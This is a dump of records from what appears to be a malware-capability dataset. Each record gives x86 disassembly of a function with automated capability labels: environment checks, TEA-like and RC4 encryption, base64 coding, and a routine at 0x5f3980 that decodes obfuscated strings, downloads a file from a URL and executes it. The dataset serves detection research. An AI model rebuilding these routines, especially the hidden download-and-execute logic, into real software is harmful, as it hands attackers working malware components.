joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5f2960
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x14
push ebp
mov ebp, dword [esp + 0x1c]
push esi
xor esi, esi
cmp dword [0x787730], esi
mov dword [esp + 8], esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 0x24
mov dword [esp + 0x14], 0x26
mov dword [esp + 0x18], 0x2a
jne 0x5f29f6
push 3
push 0x20
push 3
push 1
push 3
push 2
push esi
push esi
call sub.KERNEL32.dll_VerSetConditionMask
push edx
push eax
call sub.KERNEL32.dll_VerSetConditionMask
push edx
push eax
call sub.KERNEL32.dll_VerSetConditionMask
push edx
push eax
push 0x23
push 0x787730
mov dword [0x787730], 0x11c
mov dword [0x787734], 6
mov dword [0x787738], 1
mov word [0x787844], si
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
neg eax
sbb eax, eax
add eax, 1
mov dword [0x6dd3f4], eax
jmp 0x5f29fb
mov eax, dword [0x6dd3f4]
cmp eax, esi
je 0x5f2a0a
pop esi
mov eax, 1
pop ebp
add esp, 0x14
ret
cmp ebp, esi
je 0x5f2b2a
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push edi
push esi
push esi
push esi
push ebp
call ebx
mov edi, eax
test edi, edi
je 0x5f2b28
lea eax, [edi + edi]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
test eax, eax
mov dword [esp + 0x10], eax
je 0x5f2b28
push 0
mov ecx, eax
push ecx
push edi
push ebp
call ebx
cmp edi, eax
jbe 0x5f2b28
mov ebp, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor ebx, ebx
jmp 0x5f2a60
mov eax, dword [esp + ebx*4 + 0x18]
cmp eax, 0x26
jne 0x5f2adf
push 0
push 0
push str._ProgramW6432_
call ebp
mov edi, eax
test edi, edi
je 0x5f2b28
lea edx, [edi + edi + 2]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x5f2b28
push edi
push esi
push str._ProgramW6432_
call ebp
cmp edi, eax
jne 0x5f2b28
push esi
push str._ProgramW6432_
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x5f2ac6
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x684bc0
push 0x26
jmp 0x5f2ae5
cmp word [esi + edi*2 - 4], 0x5c
je 0x5f2af3
push 0x6a5e08
add edi, 1
push edi
push esi
call fcn.005f27b0
jmp 0x5f2af3
push 0x684bc0
push eax
call fcn.005f2850
mov esi, eax
add esp, 8
test esi, esi
je 0x5f2b28
push esi
call fcn.005f0392
push eax
mov eax, dword [esp + 0x18]
push esi
push eax
call fcn.005f40ce
add esp, 0x10
neg eax
sbb eax, eax
inc eax
mov dword [esp + 0x14], eax
jne 0x5f2b28
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
add ebx, 1
xor esi, esi
cmp ebx, 3
jl 0x5f2a60
pop edi
pop ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
mov eax, dword [esp + 0xc]
pop esi
pop ebp
add esp, 0x14
ret

Function at 0x5f2ed0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push eax
mov eax, dword [esp + 0xc]
call fcn.005f2d60
mov esi, eax
add esp, 4
test esi, esi
je 0x5f2f12
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x5f2ef4
test al, 0x50
je 0x5f2f12
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x5f2f07
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
pop esi
ret
mov eax, esi
pop esi
ret
Function at 0x5f3980
Capabilities:
Copy file
Create process on windows
Download url
Get file attributes
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x603378
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x70
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add eax, 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1b7740
call esi
mov eax, 0x6a6744
sub eax, 0x1a457640
push eax
lea ecx, [ebp - 0x43]
call fcn.005f3800
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0x1f4
call esi
mov ecx, 0x6a6768
sub ecx, 0x1a457640
push ecx
lea ecx, [ebp - 0x43]
call fcn.005f3800
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
push 0x1f4
call esi
mov edx, 0x6a678c
sub edx, 0x1a457640
push edx
lea ecx, [ebp - 0x43]
call fcn.005f3800
xor ebx, ebx
mov edi, 0xf
mov ecx, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x78], bl
lea esi, [ecx + 1]
nop
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x5f3a30
sub ecx, esi
push ecx
push eax
lea ecx, [ebp - 0x7c]
call fcn.00406db0
push 0x6edaaf9e
lea ecx, [ebp - 0x22]
call fcn.005f3850
mov esi, eax
mov ecx, esi
mov byte [ebp - 4], 3
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x5f3a64
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x60]
call fcn.00406db0
mov ecx, dword [ebp - 0x5c]
mov edi, 0x10
cmp dword [ebp - 0x48], edi
jae 0x5f3a87
lea ecx, [ebp - 0x5c]
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x64], edi
jae 0x5f3a92
lea eax, [ebp - 0x78]
push ebx
push ebx
push ecx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
push 0x5650bdc3
lea ecx, [ebp - 0x35]
call fcn.005f38a0
push 0x6edaafc6
lea ecx, [ebp - 0x22]
mov esi, eax
call fcn.005f3850
push 1
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x5650bdeb
lea ecx, [ebp - 0x35]
call fcn.005f38a0
mov esi, eax
mov edx, 0xd5
xor ecx, ecx
jmp 0x5f3ae0
mov al, byte [ecx + 0x6a6800]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ebp + ecx - 0x11], al
jns 0x5f3afd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 4
jl 0x5f3ae0
push ebx
push ebx
push ebx
push esi
lea ecx, [ebp - 0x11]
push ecx
push ebx
mov byte [ebp - 0xd], bl
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x6edaaff6
lea ecx, [ebp - 0x22]
call fcn.005f3850
push eax
call fcn.005d2ad7
add esp, 4
cmp dword [ebp - 0x48], edi
jb 0x5f3b3c
mov edx, dword [ebp - 0x5c]
push edx
call fcn.005ade30
add esp, 4
cmp dword [ebp - 0x64], edi
pop edi
pop esi
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
mov dword [ebp - 0x48], 0xf
pop ebx
jb 0x5f3b5d
mov eax, dword [ebp - 0x78]
push eax
call fcn.005ade30
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x402134
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi]
bswap eax
mov dword [ebp + 8], eax
mov ebx, dword [esi + 4]
bswap ebx
mov edi, dword [ebp + 0xc]
xor esi, esi
mov eax, dword [edi + esi*4]
bswap eax
mov dword [ebp + esi*4 - 0x10], eax
inc esi
cmp esi, 4
jl 0x402151
mov edi, dword [ebp + 8]
xor edx, edx
lea esi, [edx + 0x10]
mov ecx, ebx
lea edx, [edx - 0x61c88647]
shr ecx, 5
mov eax, ebx
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
add edi, ecx
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
add ebx, ecx
sub esi, 1
jne 0x402168
bswap edi
mov esi, dword [ebp + 0x10]
mov dword [esi], edi
bswap ebx
pop edi
mov dword [esi + 4], ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40257f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi]
bswap eax
mov dword [ebp + 8], eax
mov ebx, dword [esi + 4]
bswap ebx
mov edi, dword [ebp + 0xc]
xor esi, esi
mov eax, dword [edi + esi*4]
bswap eax
mov dword [ebp + esi*4 - 0x10], eax
inc esi
cmp esi, 4
jl 0x40259c
mov edi, dword [ebp + 8]
xor edx, edx
lea esi, [edx + 0x20]
mov ecx, ebx
lea edx, [edx + 0x57e89147]
shr ecx, 5
mov eax, ebx
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
add edi, ecx
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
add ebx, ecx
sub esi, 1
jne 0x4025b3
bswap edi
mov esi, dword [ebp + 0x10]
mov dword [esi], edi
bswap ebx
pop edi
mov dword [esi + 4], ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x44b25c
Capabilities:
Contain obfuscated stackstrings
Decode data using base64 via vbmi lookup table
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x84
push ebx
mov ebx, dword [esp + 0x98]
push esi
xor ecx, ecx
xor esi, esi
xor edx, edx
push edi
mov dword [esp + 0xc], 0x7f7f7f7f
mov dword [esp + 0x10], 0x7f7f7f7f
mov dword [esp + 0x14], 0x7f7f7f7f
mov dword [esp + 0x18], 0x7f7f7f7f
mov dword [esp + 0x1c], 0x7f7f7f7f
mov dword [esp + 0x20], 0x7f7f7f7f
mov dword [esp + 0x24], 0x7f7f7f7f
mov dword [esp + 0x28], 0x7f7f7f7f
mov dword [esp + 0x2c], 0x7f7f7f7f
mov dword [esp + 0x30], 0x7f7f7f7f
mov dword [esp + 0x34], 0x3e7f7f7f
mov dword [esp + 0x38], 0x3f7f7f7f
mov dword [esp + 0x3c], 0x37363534
mov dword [esp + 0x40], 0x3b3a3938
mov dword [esp + 0x44], 0x7f7f3d3c
mov dword [esp + 0x48], 0x7f7f407f
mov dword [esp + 0x4c], 0x201007f
mov dword [esp + 0x50], 0x6050403
mov dword [esp + 0x54], 0xa090807
mov dword [esp + 0x58], 0xe0d0c0b
mov dword [esp + 0x5c], 0x1211100f
mov dword [esp + 0x60], 0x16151413
mov dword [esp + 0x64], 0x7f191817
mov dword [esp + 0x68], 0x7f7f7f7f
mov dword [esp + 0x6c], 0x1c1b1a7f
mov dword [esp + 0x70], 0x201f1e1d
mov dword [esp + 0x74], 0x24232221
mov dword [esp + 0x78], 0x28272625
mov dword [esp + 0x7c], 0x2c2b2a29
mov dword [esp + 0x80], 0x302f2e2d
mov dword [esp + 0x84], 0x7f333231
mov dword [esp + 0x88], 0x7f7f7f7f
test ebx, ebx
je 0x44b4a9
mov edi, dword [esp + 0x9c]
mov edi, edi
mov eax, ebx
sub eax, edx
cmp eax, 2
jb 0x44b3a6
cmp byte [edx + edi], 0xd
jne 0x44b3a6
cmp byte [edx + edi + 1], 0xa
je 0x44b3df
mov al, byte [edx + edi]
cmp al, 0xa
je 0x44b3df
cmp al, 0x3d
jne 0x44b3bb
inc ecx
cmp ecx, 2
ja 0x44b4b7
cmp al, 0x7f
ja 0x44b4b7
movzx eax, al
mov al, byte [esp + eax + 0xc]
cmp al, 0x7f
je 0x44b4b7
cmp al, 0x40
jae 0x44b3de
test ecx, ecx
jne 0x44b4b7
inc esi
inc edx
cmp edx, ebx
jb 0x44b390
test esi, esi
je 0x44b4a9
mov ecx, dword [esp + 0x98]
lea eax, [esi + esi*2]
mov esi, dword [esp + 0x94]
lea eax, [eax*2 + 7]
shr eax, 3
test esi, esi
je 0x44b4c8
cmp dword [ecx], eax
jb 0x44b4c8
xor eax, eax
xor ebx, ebx
push ebp
mov ebp, 3
mov dword [esp + 0x90], eax
test edx, edx
je 0x44b498
lea esp, [esp]
mov al, byte [edi]
cmp al, 0xd
je 0x44b494
cmp al, 0xa
je 0x44b494
movzx eax, al
mov cl, byte [esp + eax + 0x10]
xor eax, eax
cmp cl, 0x40
sete al
shl ebx, 6
sub ebp, eax
movzx eax, cl
mov ecx, dword [esp + 0x90]
and eax, 0x3f
inc ecx
or ebx, eax
mov dword [esp + 0x90], ecx
cmp ecx, 4
jne 0x44b494
xor eax, eax
mov dword [esp + 0x90], eax
test ebp, ebp
je 0x44b47f
mov eax, ebx
shr eax, 0x10
mov byte [esi], al
inc esi
cmp ebp, 1
jbe 0x44b48c
mov eax, ebx
shr eax, 8
mov byte [esi], al
inc esi
cmp ebp, 2
jbe 0x44b494
mov byte [esi], bl
inc esi
inc edi
dec edx
jne 0x44b430
sub esi, dword [esp + 0x98]
mov eax, dword [esp + 0x9c]
pop ebp
mov dword [eax], esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov dword [ecx], eax
or eax, 0xffffffff
pop ebx
add esp, 0x84
ret 0x10
Function at 0x44b95b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi]
bswap eax
mov edi, eax
mov eax, dword [esi + 4]
bswap eax
mov ebx, dword [ebp + 0xc]
xor esi, esi
mov dword [ebp + 8], eax
mov eax, dword [ebx + esi*4]
bswap eax
mov dword [ebp + esi*4 - 0x10], eax
inc esi
cmp esi, 4
jl 0x44b97a
mov ebx, dword [ebp + 8]
mov edx, 0xfd1228e0
mov esi, 0x20
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
sub ebx, ecx
mov ecx, ebx
mov eax, ebx
shr ecx, 5
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
lea edx, [edx - 0x57e89147]
sub edi, ecx
sub esi, 1
jne 0x44b996
bswap edi
mov esi, dword [ebp + 0x10]
mov dword [esi], edi
bswap ebx
pop edi
mov dword [esi + 4], ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x44bd53
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi]
bswap eax
mov edi, eax
mov eax, dword [esi + 4]
bswap eax
mov ebx, dword [ebp + 0xc]
xor esi, esi
mov dword [ebp + 8], eax
mov eax, dword [ebx + esi*4]
bswap eax
mov dword [ebp + esi*4 - 0x10], eax
inc esi
cmp esi, 4
jl 0x44bd72
mov ebx, dword [ebp + 8]
mov edx, 0xe3779b90
mov esi, 0x10
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
sub ebx, ecx
mov ecx, ebx
mov eax, ebx
shr ecx, 5
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
lea edx, [edx + 0x61c88647]
sub edi, ecx
sub esi, 1
jne 0x44bd8e
bswap edi
mov esi, dword [ebp + 0x10]
mov dword [esi], edi
bswap ebx
pop edi
mov dword [esi + 4], ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x454f48
Capabilities:
Contain obfuscated stackstrings
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x48
push ebp
mov ebp, dword [esp + 0x5c]
mov dword [esp + 0xc], 0x44434241
mov dword [esp + 0x10], 0x48474645
mov dword [esp + 0x14], 0x4c4b4a49
mov dword [esp + 0x18], 0x504f4e4d
mov dword [esp + 0x1c], 0x54535251
mov dword [esp + 0x20], 0x58575655
mov dword [esp + 0x24], 0x62615a59
mov dword [esp + 0x28], 0x66656463
mov dword [esp + 0x2c], 0x6a696867
mov dword [esp + 0x30], 0x6e6d6c6b
mov dword [esp + 0x34], 0x7271706f
mov dword [esp + 0x38], 0x76757473
mov dword [esp + 0x3c], 0x7a797877
mov dword [esp + 0x40], 0x33323130
mov dword [esp + 0x44], 0x37363534
mov dword [esp + 0x48], 0x2f2b3938
test ebp, ebp
jne 0x454fe1
xor eax, eax
pop ebp
add esp, 0x48
ret 0x10
lea ecx, [ebp*8]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 2
lea ecx, [ebp*8]
lea eax, [edx + edx*2]
add eax, eax
sub ecx, eax
sub ecx, 2
je 0x45500f
sub ecx, 2
jne 0x455012
add edx, 2
jmp 0x455012
add edx, 3
push edi
mov edi, dword [esp + 0x58]
inc edx
cmp dword [edi], edx
jae 0x455029
mov dword [edi], edx
pop edi
or eax, 0xffffffff
pop ebp
add esp, 0x48
ret 0x10
mov ecx, dword [esp + 0x54]
mov eax, 0xaaaaaaab
mul ebp
shr edx, 1
push ebx
mov ebx, dword [esp + 0x60]
lea edx, [edx + edx*2]
xor eax, eax
push esi
test edx, edx
je 0x4550c1
dec edx
mov eax, 0xaaaaaaab
mul edx
mov eax, edx
shr eax, 1
inc eax
mov dword [esp + 0x10], eax
mov ebp, eax
lea eax, [eax + eax*2]
mov dword [esp + 0x14], eax
movzx edx, byte [ebx]
movzx esi, byte [ebx + 1]
movzx edi, byte [ebx + 2]
mov eax, edx
sar eax, 2
and eax, 0x3f
shl edx, 4
movzx eax, byte [esp + eax + 0x18]
mov byte [ecx], al
mov eax, esi
sar eax, 4
add eax, edx
and eax, 0x3f
add ebx, 3
movzx eax, byte [esp + eax + 0x18]
mov byte [ecx + 1], al
mov eax, edi
sar eax, 6
and edi, 0x3f
lea eax, [eax + esi*4]
and eax, 0x3f
add ecx, 4
movzx eax, byte [esp + eax + 0x18]
mov byte [ecx - 2], al
movzx eax, byte [esp + edi + 0x18]
mov byte [ecx - 1], al
dec ebp
jne 0x45505f
mov ebp, dword [esp + 0x68]
mov edi, dword [esp + 0x60]
mov eax, dword [esp + 0x14]
cmp eax, ebp
jae 0x45511b
movzx esi, byte [ebx]
inc eax
mov dword [esp + 0x68], eax
cmp eax, ebp
jae 0x4550d7
movzx edx, byte [ebx + 1]
jmp 0x4550d9
xor edx, edx
mov eax, esi
sar eax, 2
and eax, 0x3f
shl esi, 4
movzx eax, byte [esp + eax + 0x18]
mov byte [ecx], al
mov eax, edx
sar eax, 4
add eax, esi
and eax, 0x3f
movzx eax, byte [esp + eax + 0x18]
mov byte [ecx + 1], al
cmp dword [esp + 0x68], ebp
jae 0x45510f
and edx, 0xf
mov al, byte [esp + edx*4 + 0x18]
mov byte [ecx + 2], al
jmp 0x455113
mov byte [ecx + 2], 0x3d
add ecx, 3
inc ecx
mov byte [ecx - 1], 0x3d
mov eax, ecx
sub eax, dword [esp + 0x5c]
pop esi
mov dword [edi], eax
pop ebx
pop edi
mov byte [ecx], 0
xor eax, eax
pop ebp
add esp, 0x48
ret 0x10
Function at 0x45cedf
Capabilities:
Contain obfuscated stackstrings
Decode data using base64 via vbmi lookup table
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x84
push ebx
mov ebx, dword [esp + 0x98]
push esi
xor ecx, ecx
xor esi, esi
xor edx, edx
push edi
mov dword [esp + 0xc], 0x7f7f7f7f
mov dword [esp + 0x10], 0x7f7f7f7f
mov dword [esp + 0x14], 0x7f7f7f7f
mov dword [esp + 0x18], 0x7f7f7f7f
mov dword [esp + 0x1c], 0x7f7f7f7f
mov dword [esp + 0x20], 0x7f7f7f7f
mov dword [esp + 0x24], 0x7f7f7f7f
mov dword [esp + 0x28], 0x7f7f7f7f
mov dword [esp + 0x2c], 0x7f7f7f7f
mov dword [esp + 0x30], 0x7f7f7f7f
mov dword [esp + 0x34], 0x3e7f7f7f
mov dword [esp + 0x38], 0x3f7f7f7f
mov dword [esp + 0x3c], 0x37363534
mov dword [esp + 0x40], 0x3b3a3938
mov dword [esp + 0x44], 0x7f7f3d3c
mov dword [esp + 0x48], 0x7f7f407f
mov dword [esp + 0x4c], 0x201007f
mov dword [esp + 0x50], 0x6050403
mov dword [esp + 0x54], 0xa090807
mov dword [esp + 0x58], 0xe0d0c0b
mov dword [esp + 0x5c], 0x1211100f
mov dword [esp + 0x60], 0x16151413
mov dword [esp + 0x64], 0x7f191817
mov dword [esp + 0x68], 0x7f7f7f7f
mov dword [esp + 0x6c], 0x1c1b1a7f
mov dword [esp + 0x70], 0x201f1e1d
mov dword [esp + 0x74], 0x24232221
mov dword [esp + 0x78], 0x28272625
mov dword [esp + 0x7c], 0x2c2b2a29
mov dword [esp + 0x80], 0x302f2e2d
mov dword [esp + 0x84], 0x7f333231
mov dword [esp + 0x88], 0x7f7f7f7f
test ebx, ebx
je 0x45d12c
mov edi, dword [esp + 0x9c]
mov edi, edi
mov eax, ebx
sub eax, edx
cmp eax, 2
jb 0x45d029
cmp byte [edx + edi], 0xd
jne 0x45d029
cmp byte [edx + edi + 1], 0xa
je 0x45d062
mov al, byte [edx + edi]
cmp al, 0xa
je 0x45d062
cmp al, 0x3d
jne 0x45d03e
inc ecx
cmp ecx, 2
ja 0x45d13a
cmp al, 0x7f
ja 0x45d13a
movzx eax, al
mov al, byte [esp + eax + 0xc]
cmp al, 0x7f
je 0x45d13a
cmp al, 0x40
jae 0x45d061
test ecx, ecx
jne 0x45d13a
inc esi
inc edx
cmp edx, ebx
jb 0x45d013
test esi, esi
je 0x45d12c
mov ecx, dword [esp + 0x98]
lea eax, [esi + esi*2]
mov esi, dword [esp + 0x94]
lea eax, [eax*2 + 7]
shr eax, 3
test esi, esi
je 0x45d14b
cmp dword [ecx], eax
jb 0x45d14b
xor eax, eax
xor ebx, ebx
push ebp
mov ebp, 3
mov dword [esp + 0x90], eax
test edx, edx
je 0x45d11b
lea esp, [esp]
mov al, byte [edi]
cmp al, 0xd
je 0x45d117
cmp al, 0xa
je 0x45d117
movzx eax, al
mov cl, byte [esp + eax + 0x10]
xor eax, eax
cmp cl, 0x40
sete al
shl ebx, 6
sub ebp, eax
movzx eax, cl
mov ecx, dword [esp + 0x90]
and eax, 0x3f
inc ecx
or ebx, eax
mov dword [esp + 0x90], ecx
cmp ecx, 4
jne 0x45d117
xor eax, eax
mov dword [esp + 0x90], eax
test ebp, ebp
je 0x45d102
mov eax, ebx
shr eax, 0x10
mov byte [esi], al
inc esi
cmp ebp, 1
jbe 0x45d10f
mov eax, ebx
shr eax, 8
mov byte [esi], al
inc esi
cmp ebp, 2
jbe 0x45d117
mov byte [esi], bl
inc esi
inc edi
dec edx
jne 0x45d0b3
sub esi, dword [esp + 0x98]
mov eax, dword [esp + 0x9c]
pop ebp
mov dword [eax], esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov dword [ecx], eax
or eax, 0xffffffff
pop ebx
add esp, 0x84
ret 0x10
Function at 0x4b5f26
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp eax, 0x8000
jg 0x4b6040
je 0x4b6037
cmp eax, 0x80
jg 0x4b5fbd
je 0x4b5fb4
cmp eax, 8
jg 0x4b5f86
je 0x4b5f7d
cmp eax, 0x80000000
je 0x4b5f74
cmp eax, 2
je 0x4b5f6b
cmp eax, 4
jne 0x4b6123
mov eax, 2
pop ebp
ret 4
mov eax, 1
pop ebp
ret 4
mov eax, 0x1f
pop ebp
ret 4
mov eax, 3
pop ebp
ret 4
cmp eax, 0x10
je 0x4b5fab
cmp eax, 0x20
je 0x4b5fa2
cmp eax, 0x40
jne 0x4b6123
mov eax, 6
pop ebp
ret 4
mov eax, 5
pop ebp
ret 4
mov eax, 4
pop ebp
ret 4
mov eax, 7
pop ebp
ret 4
cmp eax, 0x800
jg 0x4b6003
je 0x4b5ffa
cmp eax, 0x100
je 0x4b5ff1
cmp eax, 0x200
je 0x4b5fe8
cmp eax, 0x400
jne 0x4b6123
mov eax, 0xa
pop ebp
ret 4
mov eax, 9
pop ebp
ret 4
mov eax, 8
pop ebp
ret 4
mov eax, 0xb
pop ebp
ret 4
cmp eax, 0x1000
je 0x4b602e
cmp eax, 0x2000
je 0x4b6025
cmp eax, 0x4000
jne 0x4b6123
mov eax, 0xe
pop ebp
ret 4
mov eax, 0xd
pop ebp
ret 4
mov eax, 0xc
pop ebp
ret 4
mov eax, 0xf
pop ebp
ret 4
cmp eax, 0x800000
jg 0x4b60cc
je 0x4b60c3
cmp eax, 0x80000
jg 0x4b6093
je 0x4b608a
cmp eax, 0x10000
je 0x4b6081
cmp eax, 0x20000
je 0x4b6078
cmp eax, 0x40000
jne 0x4b6123
mov eax, 0x12
pop ebp
ret 4
mov eax, 0x11
pop ebp
ret 4
mov eax, 0x10
pop ebp
ret 4
mov eax, 0x13
pop ebp
ret 4
cmp eax, 0x100000
je 0x4b60ba
cmp eax, 0x200000
je 0x4b60b1
cmp eax, 0x400000
jne 0x4b6123
mov eax, 0x16
pop ebp
ret 4
mov eax, 0x15
pop ebp
ret 4
mov eax, 0x14
pop ebp
ret 4
mov eax, 0x17
pop ebp
ret 4
cmp eax, 0x8000000
jg 0x4b610e
je 0x4b6105
cmp eax, 0x1000000
je 0x4b60fc
cmp eax, 0x2000000
je 0x4b60f3
cmp eax, 0x4000000
jne 0x4b6123
mov eax, 0x1a
pop ebp
ret 4
mov eax, 0x19
pop ebp
ret 4
mov eax, 0x18
pop ebp
ret 4
mov eax, 0x1b
pop ebp
ret 4
cmp eax, 0x10000000
je 0x4b613b
cmp eax, 0x20000000
je 0x4b6132
cmp eax, 0x40000000
je 0x4b6129
xor eax, eax
pop ebp
ret 4
mov eax, 0x1e
pop ebp
ret 4
mov eax, 0x1d
pop ebp
ret 4
mov eax, 0x1c
pop ebp
ret 4
Function at 0x4ec8f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0xbf8248]
xor edx, edx
cmp eax, edx
jne 0x4ec916
xor eax, eax
mov byte [eax + 0xbf8148], al
inc eax
cmp eax, 0x100
jl 0x4ec8fe
mov dword [0xbf8248], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0xbf8148
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4ec9a7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4ec97a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4ec948
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4eca20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4eca73
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4eca5a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
